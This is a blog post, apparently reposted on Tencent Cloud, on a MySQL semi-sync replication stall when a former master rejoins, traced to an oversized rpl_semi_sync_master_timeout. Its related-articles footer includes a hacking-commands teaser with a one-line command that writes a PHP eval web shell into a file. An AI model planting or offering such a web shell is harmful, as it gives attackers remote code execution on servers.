semi-sync原主库加入集群阻塞问题分析

前段时间支持客户处理问题的时候,发现一个semi-sync复制主从切换原master加入集群时,复制同步阻塞,无法继续同步数据的问题,非常有参考意义,整理一下,供大家参考。

问题现象

客户在一个一主两从的半同步复制环境下做了手工切换,然后尝试把原主库加入集群中,结果发现新集群中的数据一直无法同步到slave(原主库)中来,查看slave(原主库)同步状态,IO线程和SQL线程都是YES状态,但是Seconds_Behind_Master大于0.

查看show processlist状态, 发现SQL线程一直处于Waiting for semi-sync ACK from slave状态,可是这个slave(原主库)下已经没有从库了。为什么还需要等待slave返回的ACK呢?

问题分析

从SQL线程等待的的半同步问题出发,先查看semi-sync状态和设置

通过上面semi-sync的状态变量,可以发现semi-sync运行状态Rpl_semi_sync_master_status=ON、Rpl_semi_sync_slave_status=ON。这里最奇怪的是Rpl_semi_sync_master_status=ON。

根据半同步复制原理:主库发生数据变更写binlog,然后等待从库接收并返回ACK,最后在存储引擎层提交数据。这也就是为什么在从库(原主库)一直查不到新主库变更后的数据原因。在默认情况下,半同步复制只有在等待ACK超出 rpl_semi_sync_master_timeout设置的时间才会自动降为异步复制。

这里slave(原主库)被认为是半同步的master,但是没有从库连接他,所以一直在等待从库返回的ACK。等待的时间我们查看rpl_semi_sync_master_timeout变量取值

查看semi-sync参数发现从库同时开启了rpl_semi_sync_master_enabled=ON、rpl_semi_sync_slave_enabled=ON和rpl_semi_sync_master_timeout=10000000(1万秒,默认10000毫秒)。

客户竟然把rpl_semi_sync_master_timeout设置为10万秒,也就是说,原主库要等待1万秒才能自动变为异步并加入集群中同步数据,slave(原主库)无法从集群中继续同步数据的根本原因就在这里。

跟客户沟通后,客户之所以将rpl_semi_sync_master_timeout设置这么大的值,是强调数据强一致性,不希望在任何情况下半同步复制结构降为异步复制,最大限度保证数据一致性。

原理分析

前面涉及到几个semi-sync复制参数,可能有些同学不太了解,下面给大家简单讲解一下MySQL semi-sync 复制安装配置和原理。 在MySQL 5.7版本里如果要开启半同步复制,需要在master端安装semisync_master.so库并配置my.cnf

在slave端安装semisync_slave.so库并配置my.cnf

  • 在master端看到Rpl_semi_sync_master_status状态变量显示ON状态,就表示master进入半同步复制模式。
  • 此时,在slave端会看到Rpl_semi_sync_slave_status显示ON状态,也就表示slave进入半同步复制模式。

进入半同步复制,客户端在master每提交一个事务,master MySQL将对应事务写入binlog,然后等待slave返回的ACK,之后在存储引擎层提交,最后返回给客户端写入成功的消息。

如果slave没有返回,master将等待指定超时时间;超过超时时间后,会自动降为异步复制模式。

  • 如果master在超时时间内(rpl_semi_sync_master_timeout超时时间,默认10000毫秒)没有收到指定数量(rpl_semi_sync_master_wait_for_slave_count接收slave返回ACK数量,默认1)的slave的ACK回包,master自动降为异步复制模式。
  • 当半同步复制降为异步复制模式,在master端可以看到Rpl_semi_sync_master_status=OFF,在save端可以看到Rpl_semi_sync_slave_status=OFF。
  • 上述master等待行为都发生在rpl_semi_sync_master_wait_no_slave=ON(默认值)情况下。如果rpl_semi_sync_master_wait_no_slave设置为OFF时,连接master的slave的数量少于rpl_semi_sync_master_wait_for_slave_count设置的值,master不会等待超时,立刻自动降为异步复制模式。 建议

如果把rpl_semi_sync_master_timeout设置非常大,在主从切换时导致原主库加入集群时同步阻塞,建议把rpl_semi_sync_master_wait_no_slave=OFF。

原文发布于微信公众号 - 沃趣科技(woqutech)

原文发表时间:2016-11-11

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏逆向技术

病毒分析第一讲,分析病毒注意事项,以及简单分析主要功能

        病毒分析第一讲,分析病毒注意事项,以及简单分析主要功能 一丶认识木马和病毒的区别 木马和病毒是两个不一样的,有人会把木马认为是病毒,但其实不是 ...

24060
来自专栏lgp20151222

微信开发的一些坑

千万不要再微信开发中,随便用全变成大写或者小写的方法,因为微信的标签竟然没有统一大小写!看起来无伤大雅,但是我们开发总有一些框架会用到这些功能,所以一旦出错,只...

11510
来自专栏Golang语言社区

Go1.8.4和Go1.9.1版本发布

文 | Chris Broadfoot 你们好gophers, 最近爆出的两则安全问题,为了修复它,我们刚刚发布了Go 1.8.4和Go 1.9.1两个版本。 ...

36360
来自专栏FreeBuf

对ShadowBrokers Envison Collision漏洞的利用分析

目前我们正在对ShadowBrokers公开的利用工具以及脚本等进行了全方位的分析和分类工作,所以写一篇关于Linux下“envisioncollision”漏...

23090
来自专栏嵌入式程序猿

SAE J1939 协议简介(大结局)

由于应用层会根据不同的行业和需求有所不同,所以应用层的开发可以参考标准自行研究,关于这个系列,今天是最后一集,我们来讲讲 J1939的网络管理层(J1939/8...

41280
来自专栏安恒信息

【漏洞预警】Linux内核权限提升漏洞(CVE-2016-5195脏牛漏洞)

漏洞编号: CVE-2016-5195 漏洞名称: 脏牛(Dirty COW) 漏洞危害: 高危 影响范围: Linux内核 >=2.6.22(2007年发行)...

47770
来自专栏我的博客

nodejs入门环境搭建

操作系统Ubuntu14.04 sudo add-apt-repository ppa:chris-lea/node.js sudo apt-get updat...

42550
来自专栏编程坑太多

悲观锁与乐观锁

16450
来自专栏嵌入式程序猿

带你走进飞思卡尔Kinetis Flashloader(完)

讲完了Flashloader支持的外设,今天我们来看看相关属性和状态码。 获取/设置属性命令属性 获取属性和设置属性命令的属性主要有如下表所列: ? ? 属性...

29550
来自专栏北京马哥教育

黑客常用linux入侵常用命令,有你不知道的没?

[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

48820

扫码关注云+社区

领取腾讯云代金券